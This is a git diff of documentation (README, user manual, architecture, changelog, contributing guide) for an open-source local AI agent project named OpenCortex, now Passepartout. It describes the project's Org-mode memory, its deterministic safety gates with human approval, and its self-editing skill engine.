Meanwhile, the foveal-peripheral context model prunes your [[https://en.wikipedia.org/wiki/Memex][memex]] — your personal knowledge base, a term coined by Vannevar Bush in 1945 for a mechanised private library — to the relevant Org subtrees before sending anything to the LLM. The agent does not load your entire knowledge base, or even the entire file like agents that use Markdown do — it loads precisely the headlines that matter. Less context in, fewer tokens out.
|
||||
|
||||
The agent fixes itself. When it encounters an error, it can modify its own code, apply surgical fixes, and learn from the outcome to improve and grow. Skills hot-reload at runtime, so you can extend the system without restarting. And if something goes wrong during a complex operation, it snaps back to a known-good state.
|
||||
These mechanisms are implemented and working today. Token cost measurement and optimization are tracked in the [[file:docs/ROADMAP.org][v0.5.0 Roadmap]]. Until empirically verified, the cost claims in [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] (2-3x fewer tokens for coding, 13-24x for knowledge management) should be read as architectural projections, not measured results.
|
||||
|
||||
* Three Problems Every Agent Ignores
|
||||
** It edits its own source code. Verified before execution.
|
||||
|
||||
Every other AI assistant has three fundamental flaws that OpenCortex addresses.
|
||||
Passepartout can read its own Org-mode source files, propose changes, and hot-reload skills into the running image without restarting. The skill engine loads every skill into a jailed Common Lisp package, validates its syntax, tests its trigger function in isolation, and only then promotes it to the live registry.
|
||||
|
||||
The first is the data silo. Most agents bury your memories in opaque databases. If you want to see your own data, you have to ask the AI to fetch it. If the app shuts down, your data is gone. OpenCortex stores everything in plain text files that you own. No migration needed, no schema to update, no lock-in.
|
||||
Core pipeline files — the Perceive-Reason-Act loop, the Merkle-tree memory, the Dispatcher gate stack — are path-protected. The agent could modify its own brain stem, but it cannot do this without human review. Skills and system modules expand freely. The core stays small, protected, and auditable.
|
||||
|
||||
The second is the hallucination problem. Most agents pipe AI-generated text directly into your terminal. If the model hallucinates, it can delete your files or break your system. OpenCortex splits its brain into two parts. The creative brain (the LLM) suggests actions. The strict guard (deterministic logic) intercepts every proposal before it touches a file or runs a command. If the AI hallucinates, the guard blocks it.
|
||||
No other AI agent can modify its own reasoning engine and reload the change while it is running. This is not a planned feature. It works today.
|
||||
|
||||
The third is cloud dependency. Most assistants rely entirely on big tech APIs. When your internet drops, or the service goes down, your assistant dies. Worse, your private notes are constantly sent to third-party servers. OpenCortex runs on your own hardware using free, open-source models. Your private data never leaves your laptop. Cloud models are optional—used only when you explicitly allow them for complex tasks.
|
||||
** Your memory and your tasks are the same format. Org-mode.
|
||||
|
||||
Passepartout makes a bet that most systems consider too expensive: humans and machines should share the same file format. That format is Org-mode.
|
||||
|
||||
Your notes, your calendar, your project plans, the agent's memory, and the agent's own source code are all the same thing: Org files in ~/memex/. =headline trees. Property drawers for metadata. Source blocks for code. TODO keywords for task state. Tags for categorization.
|
||||
|
||||
When you write a TODO in Emacs, the agent sees it immediately as a native data structure and acts on it. When the agent creates a note, you can open it in any text editor and read it. There is no import/export step, no hidden database (except maybe for indexing), no format conversion. If Passepartout stops existing tomorrow, your data survives in plain text, readable in 2040.
|
||||
|
||||
** Works offline. Works locally. The safety doesn't stop.
|
||||
|
||||
You can run Passepartout entirely on your hardware with a local LLM via Ollama or some other inference engine. No internet connection required. But unlike most local AI tools, offline mode does not mean safety-last. The ten deterministic safety gates are pure Common Lisp — they run identically whether you are online or off. The Merkle-tree memory with snapshot rollback is in-process, 0 milliseconds, 0 network calls. Semantic retrieval runs on in-image vectors, 0 LLM tokens per query.
|
||||
|
||||
Cloud providers (OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM...) are optional add-ons. When you use them, the model-tier router automatically selects the cheapest provider that matches your task's complexity. Privacy-tagged content stays local even when cloud providers are configured.
|
||||
|
||||
* How It Works
|
||||
|
||||
Every signal — a chat message, a heartbeat tick, a file change notification — moves through three stages:
|
||||
|
||||
#+begin_example
|
||||
Signal → Perceive → Reason → Act
|
||||
normalize LLM proposes dispatch approved action
|
||||
gates verify tool output feeds back
|
||||
#+end_example
|
||||
|
||||
*Perceive* normalizes raw input from any gateway (TUI, CLI, Telegram, Signal) into a uniform signal plist. Buffer updates from Emacs ingest Org AST nodes into memory. Heartbeat ticks trigger background maintenance. HITL commands intercept before the LLM is invoked.
|
||||
|
||||
*Reason* calls the LLM to generate a proposal, then runs the proposal through every registered deterministic gate — sorted by priority, highest first. If a gate rejects (shell command blocked, path protected, secret exposed), the rejection trace feeds back to the LLM for self-correction, up to three retries. If a gate requests human approval, the action becomes a Flight Plan awaiting your decision. If all gates pass, the action proceeds to Act.
|
||||
|
||||
*Act* dispatches the approved action to the correct actuator: shell commands go to the shell actuator (with timeout and output limiting), tool invocations go to the cognitive tool registry, system commands trigger internal harness operations, and chat responses route to the TUI or messaging gateway. Each stage can feed back into Perceive — a tool output becomes the next perception.
|
||||
|
||||
This pipeline is not a single-threaded bottleneck. The priority-queued signal processor (v0.5.0 roadmap) preempts background maintenance for user interactions. The Merkle-tree memory supports concurrent reads and writes through versioned snapshots — multiple signals can process simultaneously without corrupting shared state.
|
||||
|
||||
Deep detail: [[file:docs/ARCHITECTURE.org][Architecture]] for the full code map and pipeline flow, [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] for the rationale behind every architectural choice.
|
||||
|
||||
* Current Capabilities
|
||||
|
||||
Features marked =Stable= ship in the current release. Features marked =Planned= are scheduled in the [[file:docs/ROADMAP.org][Roadmap]].
|
||||
|
||||
| Capability | Status | Since | Notes |
|
||||
|----------------------------------+----------+---------+----------------------------------------------------------------------|
|
||||
| 10-vector deterministic safety | Stable | v0.2.0 | Secrets, paths, self-build, shells, network, lisp, privacy, approval |
|
||||
| Foveal-peripheral context model | Stable | v0.2.0 | Sends relevant subtrees, not all files |
|
||||
| Merkle-tree memory + snapshots | Stable | v0.2.0 | Integrity hashing, copy-on-write rollback |
|
||||
| Self-editing + hot-reload | Stable | v0.2.0 | Agent reads, modifies, reloads its own code |
|
||||
| 8 provider cascade | Stable | v0.1.0 | OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA, local |
|
||||
| Terminal UI (Croatoan) | Stable | v0.2.0 | Scrollback, history, themes, commands, tab completion |
|
||||
| Skill engine (20+ skills) | Stable | v0.1.0 | Jailed loading, topological sort, hot-reload |
|
||||
| Human-in-the-Loop approval | Stable | v0.3.0 | Flight Plan workflow for blocked actions |
|
||||
| Model-tier routing | Stable | v0.3.0 | Sends simple tasks to cheaper models |
|
||||
| Event orchestrator (hooks + cron) | Stable | v0.3.0 | Org-based hook and cron dispatch |
|
||||
| Context manager (project scoping) | Stable | v0.3.0 | Push/pop focus, persist across restart |
|
||||
| Semantic retrieval (trigram) | Stable | v0.4.0 | Trigram Jaccard — lexical overlap, 0 LLM tokens |
|
||||
| TUI gate trace + focus map | Stable | v0.4.0 | Visual safety trace + what the agent is looking at |
|
||||
| Emacs bridge | Stable | v0.4.0 | Native Emacs client over the wire protocol |
|
||||
| Self-build safety boundary | Stable | v0.4.0 | Core files path-protected, HITL Flight Plan required |
|
||||
| Expanded theme (25-color) | Stable | v0.4.0 | 4 named presets (dark/light/gruvbox/solarized), /theme command |
|
||||
| Discord + Slack gateways | Stable | v0.4.0 | 4 platforms: Telegram, Signal, Discord, Slack |
|
||||
| Native embedding inference | Beta | v0.4.x | CFFI llama.cpp binding, nomic-embed-text (768-dim) |
|
||||
| Structured output (function-calling) | Stable | v0.4.2 | LLM tool use via native function-calling API, JSON→plist boundary |
|
||||
| Shell sandbox (bwrap) | Stable | v0.4.3 | Bubblewrap namespace isolation, network/IPC lockdown |
|
||||
| Shell severity classification | Stable | v0.4.3 | catastrophic→dangerous→moderate→harmless tier system |
|
||||
| Token economics + cost tracking | Stable | v0.5.0 | Per-session cost counter, prompt caching, budget enforcement |
|
||||
| Time awareness | Stable | v0.6.0 | Symbolic-time-memory + sensor-time skills, ISO timestamps in prompts |
|
||||
| TUI readline/Ctrl bindings | Stable | v0.7.0 | Ctrl+U/W/A/E/L/D, Ctrl+X+E editor, Ctrl+C interrupt cascade |
|
||||
| TUI Unicode width | Stable | v0.7.0 | char-width: ASCII/CJK/emoji/combining marks, pure Lisp |
|
||||
| TUI scroll notification | Stable | v0.7.0 | :scroll-notify flag, new-message alert when scrolled up |
|
||||
| TUI deeper autocomplete | Stable | v0.7.0 | @ file paths, /theme subcommand, /focus directories |
|
||||
| Streaming responses | Stable | v0.7.2 | SSE streaming, live output in TUI, interrupt-and-redirect |
|
||||
| TUI markdown rendering | Stable | v0.7.2 | Bold/italic/inline code styled via Croatoan attributes |
|
||||
| Priority-queue signal processing | Planned | v0.7.2 | Preempts background for user interactions |
|
||||
| Markdown rendering (full) | Planned | v0.7.2 | Code blocks, tables, blockquotes, hyperlinks |
|
||||
| MCP-native tool ecosystem | Planned | v0.7.0 | 50+ tools from the MCP ecosystem |
|
||||
| Voice gateway | Planned | v0.7.3 | Speech-to-text + text-to-speech via Whisper / ElevenLabs |
|
||||
| Task planning (tree DAG) | Planned | v0.8.0 | Org headline task trees, branch pruning |
|
||||
| Skill creator | Planned | v0.8.0 | LLM drafts skills from natural language, verified before load |
|
||||
| Computer use / vision | Planned | v0.9.0 | Screenshot capture, UI interaction |
|
||||
| SWE-bench evaluation harness | Planned | v0.9.0 | Automated benchmark scoring with Org trajectory audit |
|
||||
| Consensus loop (multi-provider) | Planned | v0.10.0 | Parallel inference, disagreement detection |
|
||||
| GTD integration | Planned | v0.10.0 | Full capture-clarify-organize-reflect-engage |
|
||||
| Deep Emacs integration | Planned | v0.10.0 | Org-agenda, clock time, refile, archive |
|
||||
|
||||
* Quick Start
|
||||
|
||||
You need SBCL (Steel Bank Common Lisp) installed.
|
||||
After installation, the =passepartout= command is available from anywhere.
|
||||
|
||||
#+begin_src bash
|
||||
# Clone the repository
|
||||
git clone https://github.com/amrgharbeia/opencortex.git ~/memex/projects/opencortex
|
||||
|
||||
# Run the Setup Wizard
|
||||
cd ~/memex/projects/opencortex
|
||||
./opencortex.sh setup
|
||||
|
||||
# Verify System Health
|
||||
opencortex doctor
|
||||
|
||||
# Enter the Brain
|
||||
opencortex tui
|
||||
passepartout tui # launch the terminal interface
|
||||
passepartout daemon # start the background daemon (for TUI/CLI/gateways)
|
||||
passepartout doctor # run system health check
|
||||
#+end_src
|
||||
|
||||
* The Onboarding Trifecta
|
||||
|
||||
`opencortex setup` guides you through configuring LLM providers. Tell it how to talk to Ollama, Groq, OpenRouter, or your own endpoint.
|
||||
|
||||
`opencortex link <platform> <token>` connects external chat gateways. Talk to your agent from Telegram while it works on your files.
|
||||
|
||||
`opencortex doctor` shows you what's working, what's broken, and what needs attention.
|
||||
|
||||
* Architecture
|
||||
|
||||
OpenCortex has three layers.
|
||||
|
||||
The Harness is the kernel. It runs the [[file:harness/loop.org][metabolic loop]]—Perceive → Reason → Act—each signal moving through normalization, LLM reasoning, skill verification, and action execution. Depth limits prevent infinite loops. The [[file:harness/memory.org][memory system]] persists to plain-text Org-mode files with snapshot and rollback on errors.
|
||||
|
||||
The Skills are userland—thin harness, fat skills. Modular skills load at runtime. Diagnostics, Configuration, LLM Gateway, Shell Actuation, Emacs Editing, Self-Edit, Self-Fix, Credentials Vault, Tool Permissions, Protocol Validator, and more. Each is an independent Org-mode module. Add new skills without touching the kernel.
|
||||
|
||||
The Interface is what you use to talk to the agent. A native Lisp [[file:harness/tui-client.org][TUI]] with semantic highlighting and history. A [[file:harness/communication.org][TCP socket server]] for CLI interaction. External channels via the gateway—Telegram and beyond.
|
||||
See [[file:docs/USER_MANUAL.org][User Manual]] for the full guide.
|
||||
|
||||
* Project Documentation
|
||||
|
||||
OpenCortex practices what it preaches—the documentation lives in the code.
|
||||
|
||||
The [[file:USER_MANUAL.org][User Manual]] covers setup, configuration, and commands. The [[file:docs/ROADMAP.org][Evolutionary Roadmap]] shows our plan for reaching state-of-the-art capabilities. The [[file:docs/CONTRIBUTING.org][Contributing]] guide teaches you how to add new skills.
|
||||
| Document | Answers |
|
||||
|-------------------------------------------+-------------------------------------------------------|
|
||||
| [[file:docs/USER_MANUAL.org][User Manual]] | How do I use it? |
|
||||
| [[file:docs/ARCHITECTURE.org][Architecture]] | How does it work inside? |
|
||||
| [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] | Why was it built this way? |
|
||||
| [[file:docs/ROADMAP.org][Roadmap]] | Where is it going? When? |
|
||||
| [[file:docs/CONTRIBUTING.org][Contributing]] | How do I contribute? |
|
||||
|
||||
* License
|
||||
|
||||
OpenCortex is released under the [[file:LICENSE][AGPLv3 license]].
|
||||
Passepartout is released under the [[file:LICENSE][AGPLv3 license]].
|
||||
See [[file:CLA.org][CLA.org]] for the Contributor License Agreement.
|
||||
|
||||
@@ -1,60 +0,0 @@
|
||||
#+TITLE: OpenCortex User Manual
|
||||
#+AUTHOR: Agent
|
||||
#+STARTUP: content
|
||||
#+FILETAGS: :docs:manual:
|
||||
|
||||
* Introduction
|
||||
Welcome to the OpenCortex User Manual. This guide provides the operational knowledge required to manage your sovereign Lisp Machine and its neural skills.
|
||||
|
||||
* System Architecture
|
||||
OpenCortex follows a "Purified Kernel" model. The core harness handles essential I/O, while all high-level logic resides in sovereign skills.
|
||||
|
||||
** XDG Directory Standard
|
||||
To ensure POSIX compliance, OpenCortex stores its files in standard Linux locations:
|
||||
|
||||
| Type | Path | Purpose |
|
||||
| :--- | :--- | :--- |
|
||||
| **Config** | `~/.config/opencortex/` | User settings, `.env` secrets, and provider registry. |
|
||||
| **Data** | `~/.local/share/opencortex/` | Tangled Lisp artifacts and the compiled engine. |
|
||||
| **State** | `~/.local/state/opencortex/` | Brain snapshots, logs, and Merkle-memory. |
|
||||
| **Bin** | `~/.local/bin/opencortex` | The global CLI shim. |
|
||||
|
||||
* Command Reference
|
||||
|
||||
** `opencortex setup`
|
||||
The interactive configuration wizard. Use this to:
|
||||
- Define your identity and the Agent's name.
|
||||
- Register LLM providers (Ollama, Groq, Anthropic, etc.).
|
||||
- The wizard automatically splits sensitive tokens into `~/.config/opencortex/.env`.
|
||||
|
||||
** `opencortex link <platform> <token>`
|
||||
Connects OpenCortex to external communication gateways.
|
||||
- **Example:** `opencortex link telegram <my_bot_token>`
|
||||
- Performs real-time API verification before saving.
|
||||
|
||||
** `opencortex doctor`
|
||||
Your primary diagnostic tool. Run this if the system feels sluggish or fails to boot. It verifies:
|
||||
- External dependencies (sbcl, git, socat).
|
||||
- XDG directory existence and permissions.
|
||||
- LLM connectivity.
|
||||
|
||||
** `opencortex tui`
|
||||
Launches the native Lisp Terminal User Interface.
|
||||
- **Highlighting:** Semantic color-coding for Lisp and Org syntax.
|
||||
- **Scrolling:** Use `PgUp`/`PgDn` to navigate history.
|
||||
- **Exit:** Type `/exit` or `Ctrl+C` to close.
|
||||
|
||||
* Configuration Strategy
|
||||
OpenCortex uses a **Hybrid Storage** model for maximum security and flexibility.
|
||||
|
||||
** 1. Secrets (`.env`)
|
||||
Found in `~/.config/opencortex/.env`. This file stores raw API tokens. It is never automatically read by the Lisp structural parser to prevent accidental leakage into logs.
|
||||
|
||||
** 2. Metadata (`providers.lisp`)
|
||||
Found in `~/.config/opencortex/providers.lisp`. This stores non-sensitive configuration like model names, base URLs, and user preferences as native Lisp S-expressions.
|
||||
|
||||
* Troubleshooting
|
||||
If `opencortex doctor` reports a `FAIL`:
|
||||
1. Check that your `PATH` includes `/usr/bin` and `/usr/local/bin`.
|
||||
2. Ensure `sbcl` is installed.
|
||||
3. If LLM connectivity fails, verify your API key in `~/.config/opencortex/.env`.
|
||||
1
docs/.#ROADMAP.org
Symbolic link
1
docs/.#ROADMAP.org
Symbolic link
@@ -0,0 +1 @@
|
||||
user@amr.1407003:1778162380
|
||||
139
docs/ARCHITECTURE.org
Normal file
139
docs/ARCHITECTURE.org
Normal file
@@ -0,0 +1,139 @@
|
||||
#+TITLE: Passepartout Architecture
|
||||
#+AUTHOR: Agent
|
||||
#+STARTUP: content
|
||||
|
||||
* The Four Quadrants
|
||||
|
||||
Passepartout divides cognition along two axes: **Foreground vs Background** (initiated by the user vs running autonomously) and **Probabilistic vs Deterministic** (LLM-driven vs pure Lisp logic).
|
||||
|
||||
| | Probabilistic (LLM) | Deterministic (Lisp) |
|
||||
|----------------+-------------------------------------------------------------+------------------------------------------------------------|
|
||||
| **Foreground** | Chat responses, task execution, code generation | Shell execution, file I/O, safety gates, dispatcher checks |
|
||||
| **Background** | Scribe distillation, vector embedding, autonomous decisions | Heartbeat, cron jobs, memory auto-save, gateway polling |
|
||||
|
||||
The Probabilistic engine proposes. The Deterministic engine verifies and executes. No proposal from the LLM touches a file, runs a command, or sends a message without passing through at least one deterministic gate.
|
||||
|
||||
* Architectural Layers
|
||||
|
||||
** Core Pipeline (loaded by ASDF — the harness)
|
||||
- package definition: defpackage, cognitive tools, logging
|
||||
- memory: memory-object struct, Merkle hashing, snapshots, persistence
|
||||
- context: foveal-peripheral rendering, context assembly for LLM
|
||||
- pipeline: perceive → reason → act stages, orchestrator, heartbeat
|
||||
- skills engine: defskill macro, topological sorter, jailed loading
|
||||
- communication: framed TCP protocol, actuator registry, daemon server
|
||||
- diagnostics: health checks, doctor CLI
|
||||
|
||||
** Skills (loaded at runtime by the skill engine)
|
||||
- gateway: TUI, CLI, messaging (Telegram, Signal)
|
||||
- system-model: provider dispatch, router, embeddings, model explorer
|
||||
- security: dispatcher (safety gate), policy, permissions, validator, vault
|
||||
- programming: Lisp, Org, literate tools, REPL, standards
|
||||
- system: config, archivist, self-improve, memory introspection, shell actuator, event-orchestrator, context-manager, setup
|
||||
|
||||
** Clients (connect to daemon via framed TCP protocol)
|
||||
- TUI: Croatoan-based terminal interface (model-view architecture, dirty-flag rendering)
|
||||
- CLI: pipe-friendly command-line gateway
|
||||
- Emacs: elisp bridge speaking the wire protocol (planned v0.4.0)
|
||||
|
||||
* Pipeline Flow
|
||||
|
||||
Every signal moves through three stages:
|
||||
|
||||
```
|
||||
Signal → Perceive (normalize) → Reason (think + verify) → Act (dispatch)
|
||||
```
|
||||
|
||||
The signal is a plist: ~(:TYPE :EVENT :META (...) :PAYLOAD (:SENSOR :user-input :TEXT "..."))~
|
||||
|
||||
1. **Perceive** normalizes raw input from any gateway into a uniform signal
|
||||
2. **Reason** calls the LLM to generate a proposal, then runs the proposal through all registered deterministic gates (sorted by priority). If a gate rejects the proposal, the rejection trace feeds back to the LLM for self-correction (up to 3 retries)
|
||||
3. **Act** dispatches the approved action to the registered actuator (~:cli~, ~:tool~, ~:system~, ~:shell~, ~:telegram~, ~:signal~)
|
||||
|
||||
Each stage can produce feedback signals that loop back to Perceive (e.g., a tool-execute action produces a ~:tool-output~ event that becomes the next perception).
|
||||
|
||||
** Depth limiting
|
||||
|
||||
A depth counter prevents infinite loops. If a signal's depth exceeds 10, it is silently dropped. This is the circuit breaker for runaway recursive cycles.
|
||||
|
||||
* Foveal-Peripheral Context Model
|
||||
|
||||
When the agent assembles context for the LLM, it does not send the entire memory. It renders a sparse outline using three rules:
|
||||
|
||||
1. *Depth ≤ 2* — the root node and its immediate children are always included (title and properties only, no content).
|
||||
2. *Foveal focus* — the node the user is currently interacting with is rendered in full, including its body content and all descendants.
|
||||
3. *Semantic relevance* — any node whose embedding vector has cosine similarity ≥ threshold (default 0.75) to the foveal node is rendered in full.
|
||||
4. *Temporal relevance* — nodes modified within a time window (current session, today) are rendered in full. Deadlines and scheduled items approaching within the warning window (default 60 minutes) are surfaced proactively in the awareness context. Nodes older than the window are title-only. This is the temporal dimension of the foveal-peripheral model: prune in time as well as in semantic space.
|
||||
|
||||
Nodes that don't match any rule are rendered as title-only — a single Org headline with its :ID: property. This keeps active context between 2,000–4,000 tokens for typical memex sizes, versus 50,000–150,000 tokens for a full serialization. The embedding vectors that power semantic retrieval are computed at ingest time (~ingest-ast~ in core-memory.lisp) and can use local models (Ollama), cloud APIs (OpenAI embeddings), or a zero-dependency lexical fallback (trigram Jaccard similarity).
|
||||
|
||||
For the rationale behind sparse-tree rendering and why this architecture outperforms "load everything" systems, see Design Decisions: Org-Mode as Unified AST.
|
||||
|
||||
* Dispatcher Gate Stack
|
||||
|
||||
Every action the LLM proposes passes through a stack of deterministic gates before execution. Gates are registered as skills with ~defskill~ and sorted by priority (highest first) in ~cognitive-verify~ (core-loop-reason.lisp).
|
||||
|
||||
| Priority | Gate | What It Checks |
|
||||
|----------+---------------------------+----------------------------------------------------------|
|
||||
| 600 | security-permissions | Tool permission table (allow/ask/deny per tool) |
|
||||
| 600 | security-vault | Credential storage integrity |
|
||||
| 500 | security-policy | Requires :explanation on every action |
|
||||
| 150 | security-dispatcher | 11-check safety: lisp, secret path, self-build, |
|
||||
| | (the Dispatcher) | content exposure, vault, privacy tags, privacy text, |
|
||||
| | | shell safety, network exfil, high-impact approval |
|
||||
| 95 | security-validator | Protocol schema validation |
|
||||
| 100 | system-archivist | Scribe and Gardener maintenance on heartbeat |
|
||||
| 80 | system-event-orchestrator | Cron job dispatch on heartbeat |
|
||||
|
||||
Gates return either the action (passed through unchanged), a rejection (:LOG or :EVENT with block reason), or an approval request (:EVENT with :level :approval-required). Rejections feed back to the LLM as a rejection trace — the model sees what it proposed, which gate blocked it, and why, and retries with that context (up to 3 retries). Approval requests create Flight Plan Org nodes requiring human review via the HITL workflow.
|
||||
|
||||
Every gate is a pure Common Lisp function. Verification costs 0 LLM tokens. Contrast with prompt-based guardrails (Claude Code, OpenClaw, Hermes Agent) which consume 100–500 LLM tokens per verification.
|
||||
|
||||
For the rationale behind deterministic vs prompt-based safety, see Design Decisions: The Probabilistic-Deterministic Split and The Dispatcher as Learning System.
|
||||
|
||||
* Embedding & Semantic Retrieval Pipeline
|
||||
|
||||
Every memory-object can carry an embedding vector for semantic search. The pipeline:
|
||||
|
||||
1. *Ingest* — ~ingest-ast~ (core-memory.lisp) calls ~embeddings-compute~ on new objects, storing the vector in ~memory-object-vector~.
|
||||
2. *Queue* — objects with stale vectors are queued via ~mark-vector-stale~. The ~embed-all-pending~ cron job (every 10 minutes, :REFLEX tier) drains the queue and recomputes vectors.
|
||||
3. *Retrieval* — ~context-awareness-assemble~ (core-context.lisp) passes the foveal node's vector to ~context-object-render~. Nodes with cosine similarity ≥ threshold against the foveal vector are rendered in full rather than as title-only.
|
||||
|
||||
Three backends are available, selected via ~EMBEDDING_PROVIDER~:
|
||||
- :local — Ollama-compatible /api/embeddings endpoint (e.g., nomic-embed-text)
|
||||
- :openai — OpenAI /v1/embeddings API (e.g., text-embedding-3-small)
|
||||
- :hashing — zero-dependency lexical fallback using trigram Jaccard similarity (replaced SHA-256 hashing in v0.4.0 because cryptographic hashes maximise output divergence — the opposite of what a similarity metric needs)
|
||||
|
||||
For the design rationale, see Design Decisions: Token Economics and Performance Advantage.
|
||||
|
||||
* Skill Lifecycle
|
||||
|
||||
1. *Discovery:* ~skill-initialize-all~ scans the skills directory, globs for ~*.lisp~ files (excluding ~core-*~ files which are loaded by ASDF)
|
||||
2. *Sorting:* ~skill-topological-sort~ orders skills by their ~#+DEPENDS_ON:~ declarations
|
||||
3. *Loading:* Each skill is loaded into a jailed package (~passepartout.skills.<skill-name>~). The loader removes ~in-package~ forms, evaluates the remaining code in the jailed package, and exports symbols matching the skill's short name to ~passepartout~
|
||||
4. *Registration* The skill's ~defskill~ call creates a ~skill~ struct in ~*skill-registry*~, registering its trigger function, probabilistic prompt generator, deterministic gate, and system-prompt augment
|
||||
5. *Triggering:* On each cognitive cycle, ~skill-triggered-find~ iterates the registry and returns the highest-priority skill whose trigger matches the context
|
||||
6. *Hot-reload:* A skill can be replaced at runtime by loading a new version into its jailed package — no restart needed
|
||||
|
||||
* Communication protocol Format
|
||||
|
||||
All communication between the daemon and its gateways (TUI, CLI, Emacs) uses length-prefixed plists over TCP:
|
||||
|
||||
```
|
||||
00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.4.0"))
|
||||
```
|
||||
|
||||
The 6-character hex prefix encodes the payload length. The payload is a ~prin1~-serialized plist. ~*read-eval*~ is bound to nil on the receiving end to prevent code injection.
|
||||
|
||||
** Standard message envelope:
|
||||
|
||||
| Key | Value | Meaning |
|
||||
|-----|-------|---------|
|
||||
| ~:TYPE~ | ~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~ | Message category |
|
||||
| ~:META~ | plist | ~:SOURCE~, ~:SESSION-ID~, ~:reply-stream~ |
|
||||
| ~:PAYLOAD~ | plist | Action-specific data (~:SENSOR~, ~:ACTION~, ~:TEXT~) |
|
||||
| ~:DEPTH~ | integer | Recursion counter for loop prevention |
|
||||
|
||||
The protocol lifecycle begins with a handshake: the daemon sends a :handshake action with its version, and the client responds with its capabilities. After handshake, either side can send any message type. The daemon never initiates a disconnect — clients poll for messages and reconnect on EOF.
|
||||
|
||||
Planned for v0.6.3: streaming chunk frames (~:type :stream-chunk~) carrying partial LLM output. The final chunk is an empty string signalling end-of-stream, enabling interrupt-and-redirect from the client side.
|
||||
@@ -1,36 +0,0 @@
|
||||
#+TITLE: Changelog
|
||||
#+STARTUP: content
|
||||
|
||||
* v0.2.0 - Interactive Refinement (2026-04-29)
|
||||
This release focuses on professionalizing the environment and enhancing the agent's structural capabilities.
|
||||
|
||||
** Features
|
||||
- **Enhanced Lisp/Org Utilities:** Structural editing, REPL evaluation, and automated formatting to ensure code integrity.
|
||||
- **Namespace Standardization:** Refactored utilities into =utils-org= and =utils-lisp= for predictable discovery.
|
||||
- **Autonomous Mandates:** Implemented =GEMINI.md= for local agentic enforcement of engineering standards.
|
||||
- **Onboarding Wizard:** Modular Lisp setup for multiple LLM providers.
|
||||
- **Professional TUI:** Styled, scrollable interface with improved diagnostics.
|
||||
|
||||
* v0.1.0 - The Autonomous Foundation (2026-04-20)
|
||||
This is the initial MVP release of the ~opencortex~. It establishes a secure, auditable Lisp kernel for a personal operating system.
|
||||
|
||||
** Features
|
||||
- **Unified Envelope Architecture:** Actuator-agnostic protocol that decouples routing metadata from cognitive payloads, ensuring all clients (TUI, Emacs, CLI, Matrix) are treated as equal citizens.
|
||||
- **Metabolic Pipeline:** Robust Perceive-Reason-Act loop with selective memory rollbacks and graceful shutdown handling.
|
||||
- **Verification Lock:** Mandatory skill enforcement via environment configuration. System halts if security policies or bouncers fail to load.
|
||||
- **Foveal-Peripheral Context:** High-resolution focus on active tasks with low-resolution skeletal awareness of the rest of the Memex.
|
||||
- **The Bouncer:** Last-mile deterministic security gate with Deep Packet Inspection for secrets and network exfiltration.
|
||||
- **Autonomous Scribe:** Background distillation worker that turns daily journal entries into evergreen Zettelkasten notes. Verified to distill atomic concepts autonomously.
|
||||
- **Autonomous Gardener:** Heartbeat-driven worker that repairs broken links and identifies orphaned nodes in the Memex graph.
|
||||
- **Unified Onboarding:** Single-command installation (~opencortex.sh~) with Docker support, OS detection, and automated dependency resolution.
|
||||
- **Channel-Aware TUI:** Interactive Croatoan-based terminal client with clean, human-readable formatting for tool results and system logs.
|
||||
- **CLI Gateway:** Local TCP socket server for pipe-friendly interaction and frictionless first contact.
|
||||
|
||||
** Licensing & Community
|
||||
- **AGPLv3 License:** OpenCortex is now officially licensed under the GNU Affero General Public License v3.0.
|
||||
- **Contributor License Agreement:** Implemented a broad CLA (~CLA.org~) for long-term project sustainability.
|
||||
|
||||
** Architectural Shift
|
||||
- Transitioned to **Literate Granularity**: Every function and invariant is now formally documented in its own Org block.
|
||||
- **Provider Agnosticism:** Implemented a dynamic LLM cascade (OpenRouter, Ollama, etc.) removing all hardcoded backend dependencies.
|
||||
- **Thin Harness Philosophy:** Decoupled the kernel from specific editors or third-party gateways.
|
||||
@@ -1,44 +1,116 @@
|
||||
#+TITLE: Contributing to OpenCortex
|
||||
#+AUTHOR: OpenCortex Contributors
|
||||
#+TITLE: Contributing to Passepartout
|
||||
#+AUTHOR: Passepartout Contributors
|
||||
#+STARTUP: content
|
||||
#+FILETAGS: :docs:contributing:
|
||||
|
||||
* Philosophy
|
||||
OpenCortex is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
|
||||
Passepartout is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
|
||||
|
||||
* Literate Granularity
|
||||
We strictly adhere to Literate Programming using Org-mode.
|
||||
- *Never* edit `.lisp` files in `src/` directly.
|
||||
- Modify the corresponding `.org` files in the `literate/` or `skills/` directories.
|
||||
- Run `org-babel-tangle` to generate the source code.
|
||||
- Every architectural decision, constraint, and implementation detail must be documented alongside the code in the `.org` file.
|
||||
* Development Workflow
|
||||
|
||||
The full development cycle is described in ~AGENTS.md~. In summary:
|
||||
|
||||
1. *Think in org* — write reasoning and goals in the .org file
|
||||
2. *Write contract* — define each function's behavior in a ~** Contract~ section
|
||||
3. *TDD from contract* — each contract item becomes a ~fiveam:test~; prove RED then GREEN
|
||||
4. *Reflect in org* — ensure implementation is in .org source
|
||||
5. *Update literate prose* — explain the code: what, why, how it connects
|
||||
|
||||
* Literate Programming
|
||||
|
||||
~.org~ files in ~org/~ are the source of truth. ~lisp/~ files are generated by ~org-babel-tangle~.
|
||||
|
||||
- Never edit =lisp/= files directly — always modify the corresponding =org/= file
|
||||
- All ~#+begin_src lisp~ blocks in a file inherit their tangle destination from the file-level ~#+PROPERTY: header-args:lisp :tangle ../lisp/FILE.lisp~
|
||||
- Every architectural decision, constraint, and implementation detail must be documented alongside the code
|
||||
|
||||
* Contracts and Tests
|
||||
|
||||
Every code change starts with a contract and a failing test. Write a ~** Contract~ section listing each function's behavior, then create a ~fiveam:test~ in the ~* Test Suite~ section for each contract item.
|
||||
|
||||
To run tests for a specific file:
|
||||
|
||||
#+begin_src bash
|
||||
sbcl --noinform \
|
||||
